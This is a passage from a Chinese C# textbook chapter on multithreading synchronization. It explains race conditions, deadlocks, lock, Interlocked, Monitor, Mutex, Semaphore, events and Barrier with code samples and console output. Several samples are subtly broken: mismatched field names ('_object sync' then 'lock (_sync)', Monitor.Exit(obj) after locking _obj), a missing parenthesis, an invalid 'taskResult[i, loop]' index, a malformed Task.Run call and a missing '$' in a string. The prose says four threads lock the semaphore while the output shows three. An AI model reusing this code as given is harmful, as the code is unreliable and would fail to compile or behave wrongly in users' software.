可以用来通知完成的任务。本章介绍所有这些同步对象。 首先看看不同步导致的问题。  注意: 使用本章介绍的同步类型同步定制的集合类前,应该先阅读第12章, 学习线程安全的集合:并发集合。 22.2 线程问题 用多个线程编程并不容易。在启动访问相同数据的多个线程时,会间歇性地遇到难以 发现的问题。如果使用任务、并行LINQ或Parallel类,也会遇到这些问题。为了避免这些 问题,必须特别注意同步问题和多个线程可能发生的其他问题。下面探讨与线程相关的问 题:争用条件和死锁。 ThreadingIssues示例的代码使用了如下依赖项和名称空间: 依赖项: NETStandard.Library 1.0.0 System.Diagnostics.TraceSource 名称空间: System.Diagnostics System.Threading System.Threading.Tasks static System.Console 可以使用命令行参数启动ThreadingIssues示例应用程序,来模拟争用条件或死锁。 22.2.1 争用条件 如果两个或多个线程访问相同的对象,并且对共享状态的访问没有同步,就会出现争 用条件。为了说明争用条件,下面的例子定义一个StateObject类,它包含一个int字段和一 个ChangeState()方法。在ChangeState()方法的实现代码中,验证状态变量是否包含 5。如果它包含,就递增其值。下一条语句是Trace.Assert,它立刻验证state现在是包含6。 在给包含5的变量递增了1后,可能认为该变量的值就是6。但事实不一定是这样。例 如,如果一个线程刚刚执行完if (_state == 5)语句,它就被其他线程抢占,调度器运行 另一个线程。第二个线程现在进入if体,因为state的值仍是5,所以将它递增到6。第一个 线程现在再次被调度,在下一条语句中,state递增到7。这时就发生了争用条件,并显示 断言消息(代码文件ThreadingIssues/SampleTask.cs)。 public class StateObject { private int _state = 5; public void ChangeState(int loop) { if (_state == 5) { _state++; Trace.Assert(_state == 6, $"Race condition occurred after {loop} loops"); } _state = 5; } } 下面通过给任务定义一个方法来验证这一点。SampleTask类的RaceCondition()方法 将一个StateObject类作为其参数。在一个无限while循环中,调用ChangeState()方法。变 量i仅用于显示断言消息中的循环次数。 public class SampleTask { public void RaceCondition(object o) { Trace.Assert(o is StateObject, "o must be of type StateObject"); StateObject state = o as StateObject; int i = 0; while (true) { state.ChangeState(i++); } } } 在程序的Main()方法中,新建了一个StateObject对象,它由所有任务共享。通过使 用传递给Task的Run方法的lambda表达式调用RaceCondition方法来创建Task对象。然后, 主线程等待用户输入。但是,因为可能出现争用,所以程序很有可能在读取用户输入前就 挂起: public void RaceConditions() { var state = new StateObject(); for (int i = 0; i < 2; i++) { Task.Run(() => new SampleTask().RaceCondition(state)); } } 启动程序,就会出现争用条件。多久以后出现第一个争用条件要取决于系统以及将程 序构建为发布版本还是调试版本。如果构建为发布版本,该问题的出现次数就会比较多, 因为代码被优化了。如果系统中有多个CPU或使用双核/四核CPU,其中多个线程可以同 时运行,则该问题也会比单核CPU的出现次数多。在单核CPU中,因为线程调度是抢占式 的,也会出现该问题,只是没有那么频繁。 图22-1显示在1121个循环后出现争用条件的程序断言。多次启动应用程序,总是会得 到不同的结果。 图22-1 要避免该问题,可以锁定共享的对象。这可以在线程中完成:用下面的lock语句锁定 在线程中共享的state变量。只有一个线程能在锁定块中处理共享的state对象。由于这个对 象在所有的线程之间共享,因此,如果一个线程锁定了state,另一个线程就必须等待该锁 定的解除。一旦接受锁定,线程就拥有该锁定,直到该锁定块的末尾才解除锁定。如果改 变state变量引用的对象的每个线程都使用一个锁定,就不会出现争用条件。 public class SampleTask { public void RaceCondition(object o) { Trace.Assert(o is StateObject, "o must be of type StateObject"); StateObject state = o as StateObject; int i = 0; while (true) { lock (state) // no race condition with this lock { state.ChangeState(i++); } } } }  注意: 在下载的示例代码中,需要取消锁定语句的注释,才能解决争用条件 的问题。 在使用共享对象时,除了进行锁定之外,还可以将共享对象设置为线程安全的对象。 在下面的代码中,ChangeState()方法包含一条lock语句。由于不能锁定state变量本身 (只有引用类型才能用于锁定),因此定义一个object类型的变量sync,将它用于lock语 句。如果每次state的值更改时,都使用同一个同步对象来锁定,就不会出现争用条件。 public class StateObject { private int _state = 5; private _object sync = new object(); public void ChangeState(int loop) { lock (_sync) { if (_state == 5) { _state++; Trace.Assert(_state == 6, $"Race condition occurred after {loop} loops"); } _state = 5; } } } 22.2.2 死锁 过多的锁定也会有麻烦。在死锁中,至少有两个线程被挂起,并等待对方解除锁定。 由于两个线程都在等待对方,就出现了死锁,线程将无限等待下去。 为了说明死锁,下面实例化StateObject类型的两个对象,并把它们传递给SampleTask 类的构造函数。创建两个任务,其中一个任务运行Deadlock1()方法,另一个任务运行 Deadlock2()方法(代码文件ThreadingIssues/Program.cs): var state1 = new StateObject(); var state2 = new StateObject(); new Task(new SampleTask(state1, state2).Deadlock1).Start(); new Task(new SampleTask(state1, state2).Deadlock2).Start(); Deadlock1()和Deadlock2()方法现在改变两个对象s1和s2的状态,所以生成了两 个锁。Deadlock1方法先锁定s1,接着锁定s2。Deadlock2()方法先锁定s2,再锁定s1。 现在,有可能Deadlock1()方法中s1的锁定会被解除。接着,出现一次线程切换, Deadlock2()方法开始运行,并锁定s2。第二个线程现在等待s1锁定的解除。因为它需 要等待,所以线程调度器再次调度第一个线程,但第一个线程在等待s2锁定的解除。这两 个线程现在都在等待,只要锁定块没有结束,就不会解除锁定。这是一个典型的死锁(代 码文件ThreadingIssues/SampleTask.cs)。 public class SampleTask { public SampleTask(StateObject s1, StateObject s2) { _s1 = s1; _s2 = s2; } private StateObject _s1; private StateObject _s2; public void Deadlock1() { int i = 0; while (true) { lock (_s1) { lock (_s2) { _s1.ChangeState(i); _s2.ChangeState(i++); WriteLine($"still running, {i}"); } } } } public void Deadlock2() { int i = 0; while (true) { lock (_s2) { lock (_s1) { _s1.ChangeState(i); _s2.ChangeState(i++); WriteLine($"still running, {i}"); } } } } } 结果是,程序运行了许多次循环,不久就没有响应了。“仍在运行”的消息仅写入控制 台中几次。同样,死锁问题的发生频率也取决于系统配置,每次运行的结果都不同。 死锁问题并不总是像这样那么明显。一个线程锁定了s1,接着锁定s2;另一个线程锁 定了s2,接着锁定s1。在本例中只需要改变锁定顺序,这两个线程就会以相同的顺序进行 锁定。但是,在较大的应用程序中,锁定可能隐藏在方法的深处。为了避免这个问题,可 以在应用程序的体系架构中,从一开始就设计好锁定顺序,也可以为锁定定义超时时间。 如何定义超时时间详见下一节的内容。 22.3 lock语句和线程安全 C#为多个线程的同步提供了自己的关键字:lock语句。lock语句是设置锁定和解除锁 定的一种简单方式。在添加lock语句之前,先进入另一个争用条件。SharedState类说明了 如何使用线程之间的共享状态,并共享一个整数值(代码文件 SynchronizationSamples/SharedState.cs)。 public class SharedState { public int State { get; set; } } 下述所有同步示例的代码(SingletonWPF除外)都使用如下依赖项和名称空间: 依赖项: NETStandard.Library 1.0.0 System.Threading.Tasks.Parallel System.Threading.Thread 名称空间: System System.Collections.Generic System.Linq System.Text System.Threading System.Threading.Tasks static System.Console Job类包含DoTheJob()方法,该方法是新任务的入口点。通过其实现代码,将 SharedState对象的State递增50 000次。sharedState变量在这个类的构造函数中初始化(代 码文件Synchronization-Samples/Job.cs): public class Job { private SharedState _sharedState; public Job(SharedState sharedState) { _sharedState = sharedState; } public void DoTheJob() { for (int i = 0; i < 50000; i++) { _sharedState.State += 1; } } } 在Main()方法中,创建一个SharedState对象,并把它传递给20个Task对象的构造函 数。在启动所有的任务后,Main()方法进入另一个循环,等待20个任务都执行完毕。 任务执行完毕后,把共享状态的合计值写入控制台中。因为执行了50 000次循环,有20个 任务,所以写入控制台的值应是1 000 000。但是,事实常常并非如此(代码文件 SynchronizationSamples/Program.cs)。 class Program { static void Main() { int numTasks = 20; var state = new SharedState(); var tasks = new Task[numTasks]; for (int i = 0; i < numTasks; i++) { tasks[i] = Task.Run(() => new Job(state).DoTheJob()); } Task.WaitAll(tasks); WriteLine($"summarized {state.State}"); } } 多次运行应用程序的结果如下所示: summarized 424687 summarized 465708 summarized 581754 summarized 395571 summarized 633601 每次运行的结果都不同,但没有一个结果是正确的。如前所述,调试版本和发布版本 的区别很大。根据使用的CPU类型,结果也不一样。如果将循环次数改为比较小的值,就 会多次得到正确的值,但不是每次都正确。这个应用程序非常小,很容易看出问题,但该 问题的原因在大型应用程序中就很难确定。 必须在这个程序中添加同步功能,这可以用lock关键字实现。用lock语句定义的对象 表示,要等待指定对象的锁定。只能传递引用类型。锁定值类型只是锁定了一个副本,这 没有什么意义。如果对值类型使用了lock语句,C#编译器就会发出一个错误。进行了锁定 后——只锁定了一个线程,就可以运行lock语句块。在lock语句块的最后,对象的锁定被 解除,另一个等待锁定的线程就可以获得该锁定块了。 lock (obj) { // synchronized region } 要锁定静态成员,可以把锁放在object类型或静态成员上: lock (typeof(StaticClass)) { } 使用lock关键字可以将类的实例成员设置为线程安全的。这样,一次只有一个线程能 访问相同实例的DoThis()和DoThat()方法。 public class Demo { public void DoThis() { lock (this) { // only one thread at a time can access the DoThis and DoThat methods } } public void DoThat() { lock (this) { } } } 但是,因为实例的对象也可以用于外部的同步访问,而且我们不能在类自身中控制这 种访问,所以应采用SyncRoot模式。通过SyncRoot模式,创建一个私有对象_syncRoot, 将这个对象用于lock语句。 public class Demo { private object _syncRoot = new object(); public void DoThis() { lock (_syncRoot) { // only one thread at a time can access the DoThis and DoThat methods } } public void DoThat() { lock (_syncRoot) { } } } 使用锁定需要时间,且并不总是必须的。可以创建类的两个版本,一个同步版本,一 个异步版本。下一个示例通过修改Demo类来说明。Demo类本身并不是同步的,这可以在 DoThis()和DoThat()方法的实现中看出。该类还定义了IsSynchronized属性,客户可 以从该属性中获得类的同步选项信息。为了获得该类的同步版本,可以使用静态方法 Synchronized()传递一个非同步对象,这个方法会返回SynchronizedDemo类型的对象。 SynchronizedDemo实现为派生自基类Demo的一个内部类,并重写基类的虚成员。重写的 成员使用了SyncRoot模式。 public class Demo { private class SynchronizedDemo: Demo { private object _syncRoot = new object(); private Demo _d; public SynchronizedDemo(Demo d) { _d = d; } public override bool IsSynchronized => true; public override void DoThis() { lock (_syncRoot) { _d.DoThis(); } } public override void DoThat() { lock (_syncRoot) { _d.DoThat(); } } } public virtual bool IsSynchronized => false; public static Demo Synchronized(Demo d) { if (! d.IsSynchronized) { return new SynchronizedDemo(d); } return d; } public virtual void DoThis() { } public virtual void DoThat() { } } 必须注意,在使用SynchronizedDemo类时,只有方法是同步的。对这个类的两个成员 的调用并没有同步。 首先修改异步的SharedState类,以使用SyncRoot模式。如果试图用SyncRoot模式锁定 对属性的访问,使SharedState类变成线程安全的,就仍会出现前面描述的争用条件。 public class SharedState { private int _state = 0; private object _syncRoot = new object(); public int State // there's still a race condition, // don't do this! { get { lock (_syncRoot) { return _state; }} set { lock (_syncRoot) { _state = value; }} } } 调用方法DoTheJob()的线程访问SharedState类的get存取器,以获得state的当前值, 接着get存取器给state设置新值。在调用对象的get和set存取器期间,对象没有锁定,另一 个线程可以获得临时值(代码文件SynchronizationSamples/Job.cs)。 public void DoTheJob() { for (int i = 0; i < 50000; i++) { _sharedState.State += 1; } } 所以,最好不改变SharedState类,让它依旧没有线程安全性(代码文件 SynchronizationSamples/SharedState.cs)。 public class SharedState { public int State { get; set; } } 然后在DoTheJob方法中,将lock语句添加到合适的地方(代码文件 SynchronizationSamples/Job.cs): public void DoTheJob() { for (int i = 0; i < 50000; i++) { lock (_sharedState) { _sharedState.State += 1; } } } 这样,应用程序的结果就总是正确的: summarized 1000000  注意: 在一个地方使用lock语句并不意味着,访问对象的其他线程都正在等 待。必须对每个访问共享状态的线程显式地使用同步功能。 当然,还必须修改SharedState类的设计,并作为一个原子操作提供递增方式。这是一 个设计问题——把什么实现为类的原子功能?下面的代码片段锁定了递增操作。 public class SharedState { private int _state = 0; private object _syncRoot = new object(); public int State => _state; public int IncrementState() { lock (_syncRoot) { return ++_state; } } } 锁定状态的递增还有一种更快的方式,如下节所示。 22.4 Interlocked类 Interlocked类用于使变量的简单语句原子化。i++不是线程安全的,它的操作包括从内 存中获取一个值,给该值递增1,再将它存储回内存。这些操作都可能会被线程调度器打 断。Interlocked类提供了以线程安全的方式递增、递减、交换和读取值的方法。 与其他同步技术相比,使用Interlocked类会快得多。但是,它只能用于简单的同步问 题。 例如,这里不使用lock语句锁定对someState变量的访问,把它设置为一个新值,以防 它是空的,而可以使用Interlocked类,它比较快: lock (this) { if (_someState == null) { _someState = newState; } } 这个功能相同但比较快的版本使用了Interlocked.CompareExchange()方法: Interlocked.CompareExchange<SomeState>(ref someState, newState, null); 不是像下面这样在lock语句中执行递增操作: public int State { get { lock (this) { return ++_state; } } } 而使用较快的Interlocked.Increment()方法: public int State { get { return Interlocked.Increment(ref _state); } } 22.5 Monitor类 lock语句由C#编译器解析为使用Monitor类。下面的lock语句: lock (obj) { // synchronized region for obj } 被解析为调用Enter()方法,该方法会一直等待,直到线程锁定对象为止。一次只有一 个线程能锁定对象。只要解除了锁定,线程就可以进入同步阶段。Monitor类的Exit()方 法解除了锁定。编译器把Exit()方法放在try块的finally处理程序中,所以如果抛出了异 常,就会解除该锁定。  注意: try/finally块详见第14章。 Monitor.Enter(obj); try { // synchronized region for obj } finally { Monitor.Exit(obj); } 与C#的lock语句相比,Monitor类的主要优点是:可以添加一个等待被锁定的超时 值。这样就不会无限期地等待被锁定,而可以像下面的例子那样使用TryEnter()方法, 其中给它传递一个超时值,指定等待被锁定的最长时间。如果obj被锁定,TryEnter()方 法就把布尔型的引用参数设置为true,并同步地访问由对象obj锁定的状态。如果另一个线 程锁定obj的时间超过了500毫秒,TryEnter()方法就把变量lockTaken设置为false,线程 不再等待,而是用于执行其他操作。也许在以后,该线程会尝试再次获得锁定。 bool _lockTaken = false; Monitor.TryEnter(_obj, 500, ref _lockTaken); if (_lockTaken) { try { // acquired the lock // synchronized region for obj } finally { Monitor.Exit(obj); } } else { // didn't get the lock, do something else } 22.6 SpinLock结构 如果基于对象的锁定对象(Monitor)的系统开销由于垃圾回收而过高,就可以使用 SpinLock结构。如果有大量的锁定(例如,列表中的每个节点都有一个锁定),且锁定的 时间总是非常短,SpinLock结构就很有用。应避免使用多个SpinLock结构,也不要调用任 何可能阻塞的内容。 除了体系结构上的区别之外,SpinLock结构的用法非常类似于Monitor类。使用 Enter()或TryEnter()方法获得锁定,使用Exit()方法释放锁定。SpinLock结构还提 供了属性IsHeld和IsHeldByCurrentThread,指定它当前是否是锁定的。  注意: 传送SpinLock实例时要小心。因为SpinLock定义为结构,把一个变量 赋予另一个变量会创建一个副本。总是通过引用传送SpinLock实例。 22.7 WaitHandle基类 WaitHandle是一个抽象基类,用于等待一个信号的设置。可以等待不同的信号,因为 WaitHandle是一个基类,可以从中派生一些类。 等待句柄也由简单的异步委托使用,TakesAWhileDelegate按如下代码所示定义(代 码文件AsyncDelegate/ Program.cs): public delegate int TakesAWhileDelegate(int x, int ms); 异步委托的BeginInvoke()方法返回一个实现了IAsycResult接口的对象。使用 IAsycResult接口,可以用AsycWaitHandle属性访问WaitHandle基类。在调用WaitOne() 方法或者超时发生时,线程会等待接收一个与等待句柄相关的信号。调用EndInvoke方 法,线程最终会阻塞,直到得到结果为止: static void Main() { TakesAWhileDelegate d1 = TakesAWhile; IAsyncResult ar = d1.BeginInvoke(1, 3000, null, null); while (true) { Write("."); if (ar.AsyncWaitHandle.WaitOne(50)) { WriteLine("Can get the result now"); break; } } int result = d1.EndInvoke(ar); WriteLine($"result: {result}"); } public static int TakesAWhile(int x, int ms) { Task.Delay(ms).Wait(); return 42; }  注意: 委托参见第9章。 运行程序,结果如下: ....................................... ...Can get the result now result: 42 使用WaitHandle基类可以等待一个信号的出现(WaitOne()方法)、等待必须发出 信号的多个对象(WaitAll()方法),或者等待多个对象中的一个(WaitAny()方 法)。WaitAll()和WaitAny()是WaitHandle类的静态方法,接收一个WaitHandle参数 数组。 WaitHandle基类有一个SafeWaitHandle属性,其中可以将一个本机句柄赋予一个操作 系统资源,并等待该句柄。例如,可以指定一个SafeFileHandle等待文件I/O操作的完成。 因为Mutex、EventWaitHandle和Semaphore类派生自WaitHandle基类,所以可以在等 待时使用它们。 22.8 Mutex类 Mutex(mutual exclusion,互斥)是.NET Framework中提供跨多个进程同步访问的一 个类。它非常类似于Monitor类,因为它们都只有一个线程能拥有锁定。只有一个线程能 获得互斥锁定,访问受互斥保护的同步代码区域。 在Mutex类的构造函数中,可以指定互斥是否最初应由主调线程拥有,定义互斥的名 称,获得互斥是否已存在的信息。在下面的示例代码中,第3个参数定义为输出参数,接 收一个表示互斥是否为新建的布尔值。如果返回的值是false,就表示互斥已经定义。互斥 可以在另一个进程中定义,因为操作系统能够识别有名称的互斥,它由不同的进程共享。 如果没有给互斥指定名称,互斥就是未命名的,不在不同的进程之间共享。 bool createdNew; var mutex = new Mutex(false, "ProCSharpMutex", out createdNew); 要打开已有的互斥,还可以使用Mutex.OpenExisting()方法,它不需要用构造函数 创建互斥时需要的相同.NET权限。 由于Mutex类派生自基类WaitHandle,因此可以利用WaitOne()方法获得互斥锁 定,在该过程中成为该互斥的拥有者。通过调用ReleaseMutex()方法,即可释放互斥。 if (mutex.WaitOne() ) { try { // synchronized region } finally { mutex.ReleaseMutex(); } } else { // some problem happened while waiting } 由于系统能识别有名称的互斥,因此可以使用它禁止应用程序启动两次。在下面的 WPF应用程序中,调用了Mutex对象的构造函数。接着,验证名称为 SingletonWinAppMutex的互斥是否存在。如果存在,应用程序就退出(代码文件 SingletonWPF/App.xaml.cs)。 public partial class App : Application { protected override void OnStartup(StartupEventArgs e) { bool mutexCreated; var mutex = new Mutex(false, "SingletonWinAppMutex", out mutexCreated); if (! mutexCreated) { MessageBox.Show("You can only start one instance of the application"); Application.Current.Shutdown(); } base.OnStartup(e); } } 22.9 Semaphore类 信号量非常类似于互斥,其区别是,信号量可以同时由多个线程使用。信号量是一种 计数的互斥锁定。使用信号量,可以定义允许同时访问受旗语锁定保护的资源的线程个 数。如果需要限制可以访问可用资源的线程数,信号量就很有用。例如,如果系统有3个 物理端口可用,就允许3个线程同时访问I/O端口,但第4个线程需要等待前3个线程中的一 个释放资源。 .NET Core 1.0为信号量功能提供了两个类Semaphore和SemaphoreSlim。Semaphore类 可以命名,使用系统范围内的资源,允许在不同进程之间同步。SemaphoreSlim类是对较 短等待时间进行了优化的轻型版本。 在下面的示例应用程序中,在Main()方法中创建了6个任务和一个计数为3的信号 量。在Semaphore类的构造函数中,定义了锁定个数的计数,它可以用信号量(第二个参 数)来获得,还定义了最初释放的锁定数(第一个参数)。如果第一个参数的值小于第二 个参数,它们的差就是已经分配线程的计数值。与互斥一样,也可以给信号量指定名称, 使之在不同的进程之间共享。这里定义信号量时没有指定名称,所以它只能在这个进程中 使用。在创建了SemaphoreSlim对象之后,启动6个任务,它们都获得了相同的信号量(代 码文件SemaphoreSample/Program.cs)。 class Program { static void Main() { int taskCount = 6; int semaphoreCount = 3; var semaphore = new SemaphoreSlim(semaphoreCount, semaphoreCount); var tasks = new Task[taskCount]; for (int i = 0; i < taskCount; i++) { tasks[i] = Task.Run(() => TaskMain(semaphore)); } Task.WaitAll(tasks); WriteLine("All tasks finished"); } // etc 在任务的主方法TaskMain()中,任务利用Wait()方法锁定信号量。信号量的计数 是3,所以有3个任务可以获得锁定。第4个任务必须等待,这里还定义了最长的等待时间 为600毫秒。如果在该等待时间过后未能获得锁定,任务就把一条消息写入控制台,在循 环中继续等待。只要获得了锁定,任务就把一条消息写入控制台,睡眠一段时间,然后解 除锁定。在解除锁定时,在任何情况下一定要解除资源的锁定,这一点很重要。这就是在 finally处理程序中调用SemaphoreSlim类的Release()方法的原因。 // etc public static void TaskMain(SemaphoreSlim semaphore) { bool isCompleted = false; while (! isCompleted) { if (semaphore.Wait(600)) { try { WriteLine($"Task {Task.CurrentId} locks the semaphore"); Task.Delay(2000).Wait(); } finally { WriteLine($"Task {Task.CurrentId} releases the semaphore"); semaphore.Release(); isCompleted = true; } } else { WriteLine($"Timeout for task {Task.CurrentId}; wait again"); } } } } 运行应用程序,可以看到有4个线程很快被锁定。ID为7、8和9的线程需要等待。该 等待会重复进行,直到其中一个被锁定的线程解除了信号量。 Task 4 locks the semaphore Task 5 locks the semaphore Task 6 locks the semaphore Timeout for task 7; wait again Timeout for task 7; wait again Timeout for task 8; wait again Timeout for task 7; wait again Timeout for task 8; wait again Timeout for task 7; wait again Timeout for task 9; wait again Timeout for task 8; wait again Task 5 releases the semaphore Task 7 locks the semaphore Task 6 releases the semaphore Task 4 releases the semaphore Task 8 locks the semaphore Task 9 locks the semaphore Task 8 releases the semaphore Task 7 releases the semaphore Task 9 releases the semaphore All tasks finished 22.10 Events类 与互斥和信号量对象一样,事件也是一个系统范围内的资源同步方法。为了从托管代 码中使用系统事件,.NET Framework在System.Threading名称空间中提供了 ManualResetEvent、AutoResetEvent、ManualResetEventSlim和CountdownEvent类。  注意: 第9章介绍了C#中的event关键字,它与System.Threading名称空间中的 event类没有关系。event关键字基于委托,而上述两个event类是.NET封装器,用于系统 范围内的本机事件资源的同步。 可以使用事件通知其他任务:这里有一些数据,并完成了一些操作等。事件可以发信 号,也可以不发信号。使用前面介绍的WaitHandle类,任务可以等待处于发信号状态的事 件。 调用Set()方法,即可向ManualResetEventSlim发信号。调用Reset()方法,可以使 之返回不发信号的状态。如果多个线程等待向一个事件发信号,并调用了Set()方法, 就释放所有等待的线程。另外,如果一个线程刚刚调用了WaitOne()方法,但事件已经 发出信号,等待的线程就可以继续等待。 也通过调用Set()方法向AutoResetEvent发信号。也可以使用Reset()方法使之返 回不发信号的状态。但是,如果一个线程在等待自动重置的事件发信号,当第一个线程的 等待状态结束时,该事件会自动变为不发信号的状态。这样,如果多个线程在等待向事件 发信号,就只有一个线程结束其等待状态,它不是等待时间最长的线程,而是优先级最高 的线程。 为了说明ManualResetEventSlim类的事件,下面的Calculator类定义了Calculation() 方法,这是任务的入口点。在这个方法中,该任务接收用于计算的输入数据,将结果写入 变量result,该变量可以通过Result属性来访问。只要完成了计算(在随机的一段时间过 后),就调用ManualResetEventSlim类的Set方法,向事件发信号(代码文件 EventSample/Calculator.cs)。 public class Calculator { private ManualResetEventSlim _mEvent; public int Result { get; private set; } public Calculator(ManualResetEventSlim ev) { _mEvent = ev; } public void Calculation(int x, int y) { WriteLine($"Task {Task.CurrentId} starts calculation"); Task.Delay(new Random().Next(3000)).Wait(); Result = x + y; // signal the event-completed! WriteLine($"Task {Task.CurrentId} is ready"); _mEvent.Set(); } } 程序的Main()方法定义了包含4个ManualResetEventSlim对象的数组和包含4个 Calculator对象的数组。每个Calculator在构造函数中用一个ManualResetEventSlim对象初始 化,这样每个任务在完成时都有自己的事件对象来发信号。现在使用Task类,让不同的任 务执行计算任务(代码文件EventSample/Program.cs)。 class Program { static void Main() { const int taskCount = 4; var mEvents = new ManualResetEventSlim[taskCount]; var waitHandles = new WaitHandle[taskCount]; var calcs = new Calculator[taskCount]; for (int i = 0; i < taskCount; i++) { int i1 = i; mEvents[i] = new ManualResetEventSlim(false); waitHandles[i] = mEvents[i].WaitHandle; calcs[i] = new Calculator(mEvents[i]); Task.Run(() => calcs[i1].Calculation(i1 + 1, i1 + 3)); } //... WaitHandle类现在用于等待数组中的任意一个事件。WaitAny()方法等待向任意一 个事件发信号。与ManualResetEvent对象不同,ManualResetEventSlim对象不派生自 WaitHandle类。因此有一个WaitHandle对象的集合,它在ManualResetEventSlim类的 WaitHandle属性中填充。从WaitAny()方法返回的index值匹配传递给WaitAny()方法 的事件数组的索引,以提供发信号的事件的相关信息,使用该索引可以从这个事件中读取 结果。 for (int i = 0; i < taskCount; i++) { int index = WaitHandle.WaitAny(waitHandles); if (index == WaitHandle.WaitTimeout) { WriteLine("Timeout! ! "); } else { mEvents[index].Reset(); WriteLine($"finished task for {index}, result: {calcs[index].Result}"); } } } } 启动应用程序,可以看到任务在进行计算,设置事件,以通知主线程,它可以读取结 果了。在任意时间,依据是调试版本还是发布版本和硬件的不同,会看到按照不同的顺 序,有不同数量的线程在执行任务。 Task 4 starts calculation Task 5 starts calculation Task 6 starts calculation Task 7 starts calculation Task 7 is ready finished task for 3, result: 10 Task 4 is ready finished task for 0, result: 4 Task 6 is ready finished task for 1, result: 6 Task 5 is ready finished task for 2, result: 8 在一个类似的场景中,为了把一些工作分支到多个任务中,并在以后合并结果,使用 新的CountdownEvent类很有用。不需要为每个任务创建一个单独的事件对象,而只需要创 建一个事件对象。CountdownEvent类为所有设置了事件的任务定义一个初始数字,在到达 该计数后,就向CountdownEvent类发信号。 修改Calculator类,以使用CountdownEvent类替代ManualResetEvent类。不使用 Set()方法设置信号,而使用CountdownEvent类定义Signal()方法(代码文件 EventSampleWithCountdownEvent/Calculator.cs)。 public class Calculator { private CountdownEvent _cEvent; public int Result { get; private set; } public Calculator(CountdownEvent ev ) { _cEvent = ev; } public void Calculation(int x, int y) { WriteLine($"Task {Task.CurrentId} starts calculation"); Task.Delay(new Random().Next(3000)).Wait(); Result = x + y; // signal the event-completed! WriteLine($"Task {Task.CurrentId} is ready"); _cEvent.Signal(); } } Main()方法现在可以简化,使它只需要等待一个事件。如果不像前面那样单独处 理结果,这个新版本就很不错。 const int taskCount = 4; var cEvent = new CountdownEvent(taskCount); var calcs = new Calculator[taskCount]; for (int i = 0; i < taskCount; i++) { calcs[i] = new Calculator(cEvent); int i1 = i; Task.Run(() => calcs[i1].Calculation, Tuple.Create(i1 + 1, i1 + 3)); } cEvent.Wait(); WriteLine("all finished"); for (int i = 0; i < taskCount; i++) { WriteLine($"task for {i}, result: {calcs[i].Result}"); } 22.11 Barrier类 对于同步,Barrier类非常适用于其中工作有多个任务分支且以后又需要合并工作的情 况。Barrier类用于需要同步的参与者。激活一个任务时,就可以动态地添加其他参与者, 例如,从父任务中创建子任务。参与者在继续之前,可以等待所有其他参与者完成其工 作。 BarrierSample有点复杂,但它展示了Barrier类型的功能。下面的应用程序使用一个包 含2 000 000个字符串的集合。使用多个任务遍历该集合,并统计以a、b、c等开头的字符 串个数。工作不仅分布在不同的任务之间,也放在一个任务中。毕竟所有的任务都迭代字 符串的第一个集合,汇总结果,以后任务会继续处理下一个集合。 FillData()方法创建一个集合,并用随机字符串填充它(代码文件 BarrierSample/Program.cs): public static IEnumerable<string> FillData(int size) { var r = new Random(); return Enumerable.Range(0, size).Select(x => GetString(r)); } private static string GetString(Random r) { var sb = new StringBuilder(6); for (int i = 0; i < 6; i++) { sb.Append((char)(r.Next(26) + 97)); } return sb.ToString(); } 在LogBarrierInformation方法中定义一个辅助方法,来显示Barrier的信息: private static void LogBarrierInformation(string info, Barrier barrier) { WriteLine($"Task {Task.CurrentId}: {info}. " + $"{barrier.ParticipantCount } current and " + $"{barrier.ParticipantsRemaining } remaining participants, " + $"phase {barrier.CurrentPhaseNumber }"); } CalculationInTask()方法定义了任务执行的作业。通过参数接收一个包含4项的元 组。第3个参数是对Barrier实例的引用。用于计算的数据是数组IList<string>。最后一个参 数是int锯齿数组,用于在任务执行过程中写出结果。 任务把处理放在一个循环中。每一次循环中,都处理IList<string>[]的数组元素。每个 循环完成后,任务通过调用SignalAndWait方法,发出做好了准备的信号,并等待,直到 所有的其他任务也准备好处理为止。这个循环会继续执行,直到任务完全完成为止。接 着,任务就会使用RemoveParticipant()方法从Barrier类中删除它自己。 private static void CalculationInTask(int jobNumber, int partitionSize, Barrier barrier, IList<string>[] coll, int loops, int[][] results) { LogBarrierInformation("CalculationInTask started", barrier); for (int i = 0; i < loops; i++) { var data = new List<string>(coll[i]); int start = jobNumber * partitionSize; int end = start + partitionSize; WriteLine($"Task {Task.CurrentId} in loop {i}: partition " + $"from {start} to {end}"); for (int j = start; j < end; j++) { char c = data[j][0]; results[i][c - 97]++; } WriteLine($"Calculation completed from task {Task.CurrentId} " + $"in loop {i}. {results[i][0]} times a, {results[i][25]} times z"); LogBarrierInformation("sending signal and wait for all", barrier); barrier.SignalAndWait(); LogBarrierInformation("waiting completed", barrier); } barrier.RemoveParticipant(); LogBarrierInformation("finished task, removed participant", barrier); } 在Main()方法中创建一个Barrier实例。在构造函数中,可以指定参与者的数量。在 该示例中,这个数量是3(numberTasks + 1),因为该示例创建了两个任务,Main()方 法本身也是一个参与者。使用Task.Run创建两个任务,把遍历集合的任务分为两个部分。 启动该任务后,使用SignalAndWait()方法,Main()方法在完成时发出信号,并等待 所有其他参与者或者发出完成的信号,或者从Barrier类中删除它们。一旦所有的参与者都 准备好,就提取任务的结果,并使用Zip()扩展方法把它们合并起来。接着进行下一次 迭代,等待任务的下一个结果: static void Main() { const int numberTasks = 2; const int partitionSize = 1000000; const int loops = 5; var taskResults = new Dictionary<int, int[][]>(); var data = new List<string>[loops]; for (int i = 0; i < loops; i++) { data[i] = new List<string>(FillData(partitionSize * numberTasks); } var barrier = new Barrier(numberTasks + 1); LogBarrierInformation("initial participants in barrier", barrier); for (int i = 0; i < numberTasks; i++) { barrier.AddParticipant(); int jobNumber = i; taskResults.Add(i, new int[loops][]); for (int loop = 0; loop < loops; loop++) { taskResult[i, loop] = new int[26]; } WriteLine("Main - starting task job {jobNumber}"); Task.Run(() => CalculationInTask(jobNumber, partitionSize, barrier, data, loops, taskResults[jobNumber])); } for (int loop = 0; loop < 5; loop++) { LogBarrierInformation("main task, start signaling and wait", barrier); barrier.SignalAndWait(); LogBarrierInformation("main task waiting completed", barrier); int[][] resultCollection1 = taskResults[0]; int[][] resultCollection2 = taskResults[1]; var resultCollection = resultCollection1[loop].Zip( resultCollection2[loop], (c1, c2) => c1 + c2); char ch = 'a'; int sum = 0; foreach (var x in resultCollection) { WriteLine($"{ch++}, count: {x}"); sum += x; } LogBarrierInformation($"main task finished loop {loop}, sum: {sum}", barrier); } WriteLine("finished all iterations"); ReadLine(); }  注意: 锯齿数组参见第7章,zip扩展方法参见第13章。 运行应用程序,输出如下所示。在输出中可以看到,每个AddParticipant调用都会增 加参与者的数量和剩下的参与者数量。只要一个参与者调用SignalAndWait,剩下的参与 